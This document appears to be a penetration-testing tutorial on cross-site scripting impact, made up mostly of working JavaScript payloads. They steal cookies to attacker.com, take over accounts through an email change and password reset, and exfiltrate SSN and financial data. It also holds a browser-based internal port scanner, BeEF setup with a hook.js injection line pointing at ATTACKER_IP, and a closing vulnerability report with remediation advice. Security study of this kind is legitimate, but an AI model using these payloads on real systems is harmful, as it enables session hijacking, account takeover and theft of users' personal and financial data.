XSS Exploitation & Real-World Impact

// Scenario 1: HttpNot NOT set - Direct cookie theft
// Payload sends cookies to attacker server
new Image().src = 'https://attacker.com/collect?c=' + document.cookie;
// Attacker receives: session=abc123; csrf_token=xyz789
// Attacker sets these cookies and is now logged in as the victim

// Scenario 2: HttpOnly IS set - Perform actions as the user
// Change the victim's email address (account takeover)
fetch('/api/account/email', {
  method: 'PUT',
  credentials: 'include',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ email: 'attacker@evil.com' })
}).then(() => {
  // Now attacker can use password reset to take over the account
  fetch('/api/account/password-reset', {
    method: 'POST',
    credentials: 'include',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ email: 'attacker@evil.com' })
  });
});

// Scenario 3: HttpOnly IS set - Exfiltrate visible data
// Read sensitive data from the page
var ssn = document.querySelector('#ssn-display')?.textContent;
var accountNumber = document.querySelector('#account-num')?.textContent;
var apiData = await fetch('/api/user/financial-data', {
  credentials: 'include'
}).then(r => r.json());

// Exfiltrate everything
fetch('https://attacker.com/exfil', {
  method: 'POST',
  body: JSON.stringify({ ssn, accountNumber, apiData })
});

// Internal network port scanner via XSS
(function() {
  var targetHosts = [
    '192.168.1.1', '192.168.1.254', '10.0.0.1',
    '10.0.0.138', '172.16.0.1'
  ];
  var targetPorts = [22, 80, 443, 3306, 5432, 8080, 8443, 9200];
  var results = [];

  targetHosts.forEach(function(host) {
    targetPorts.forEach(function(port) {
      var img = new Image();
      var start = Date.now();

      img.onload = function() {
        results.push({ host, port, status: 'open', time: Date.now() - start });
        if (results.length === targetHosts.length * targetPorts.length) {
          reportResults(results);
        }
      };

      img.onerror = function() {
        results.push({ host, port, status: 'filtered', time: Date.now() - start });
      };

      // Try to load a resource from the internal host
      img.src = 'http://' + host + ':' + port + '/favicon.ico?t=' + Date.now();

      // Timeout for closed ports
      setTimeout(function() {
        if (!img.complete) {
          results.push({ host, port, status: 'closed' });
        }
      }, 3000);
    });
  });

  function reportResults(results) {
    new Image().src = 'https://attacker.com/scan?r=' +
      encodeURIComponent(JSON.stringify(results));
  }
})();

# Step 1: Start BeEF server
cd /opt/beef
./beef

# BeEF console output:

# [15:32:01]    |   Hook URL: http://0.0.0.0:3000/hook.js
# [15:32:01]    |   UI URL:   http://127.0.0.1:3000/ui/panel
# [15:32:01]    |   REST API: http://127.0.0.1:3000/api

# Step 2: Inject the hook.js via XSS
# Payload: <script src="http://ATTACKER_IP:3000/hook.js"></script>

# Step 3: When victim visits the page, their browser appears in BeEF panel
# Step 4: Use BeEF modules:
# - Get cookie
# - Get page HTML
# - Detect installed software
# - Scan internal network
# - Redirect to phishing page
# - Execute arbitrary commands (if browser has known exploits)

// BeEF hook injection payload
// This loads the BeEF framework which provides persistent control

<script src="http://ATTACKER_IP:3000/hook.js"></script>

// Once hooked, BeEF can:
// 1. Detect browser, OS, and installed plugins
// 2. Extract browsing history
// 3. Capture keystrokes
// 4. Take webcam snapshots (with user permission prompt)
// 5. Execute Metasploit browser exploits
// 6. Create persistent access across page navigations
// 7. Pivot to internal network resources

{
  "vulnerability": "Stored Cross-Site Scripting (XSS)",
  "cvss_score": "8.4 (High)",
  "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
  "location": "POST /api/comments - 'comment' parameter",
  "description": "The comment field accepts arbitrary HTML and JavaScript which is stored in the database and rendered to all users viewing the post without sanitization.",
  "impact": "An authenticated attacker can execute arbitrary JavaScript in the context of any user viewing the compromised post. This enables session hijacking, credential theft, and potential account takeover of all users including administrators.",
  "poc_steps": [
    "1. Authenticate as a low-privilege user",
    "2. Navigate to any blog post",
    "3. Submit comment: <script>alert(document.domain)</script>",
    "4. Observe alert popup when page reloads",
    "5. Confirm payload persists across sessions"
  ],
  "remediation": [
    "Implement context-aware output encoding (HTML entity encoding for HTML body context)",
    "Apply Content Security Policy with script-src directive",
    "Set HttpOnly and Secure flags on session cookies",
    "Use a trusted sanitization library (DOMPurify) for rich content"
  ]
}